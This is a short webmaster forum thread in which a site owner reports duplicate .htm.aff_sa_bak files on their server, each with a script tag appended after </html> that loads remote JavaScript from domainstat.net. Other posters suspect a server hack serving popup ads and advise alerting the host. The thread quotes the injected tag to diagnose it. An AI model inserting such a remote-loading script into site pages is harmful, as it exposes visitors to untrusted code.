Worm, hack, virus, hijack?

->domainstat.net javascript

[royalelephant]

Went to FTP to my site and saw that every .htm had a duplicate named .htm.aff_sa_bak.

The legit .htm just has my code. The .htm.aff_sa_bak has this script appended under the </html> tag

<script language='JavaScript' type='text/javascript' src='http://www.domainstat.net/stat.php'></script>

I tried to figure out what it was, why it was, or what I should do, but I was stumped. What's going on with this thing?

good: blah-blah.htm
bad: blah-blah.htm.aff_sa_bak

[jessejump]

Looks like hacking from Google search; alert your host.

[larryhatch]

I googled up aff_sa_bak, and mostly got junk.

One site had some info, a blog for webmasters. The writer's site got hacked.

The aff_sa_bak URLs led to popup ads. Yes, contact your host right away.

The perps apparently break in to the server itself so they can mess with every site there. -Larry

[Iguana]

Quite a few hosts insert their own code snippets into your pages for the purpose of serving their own adverts or stuff like that. This looks like your host has the code to implement this but not chosen to make the altered pages live. Perhaps the domain referenced used to provide usage statistics from that 'stat.php' with javascript tracking code.

[royalelephant]

Thanks all!
I deleted the offending files: no online troubles with the site. I alerted my host. I'll keep you posted.

michael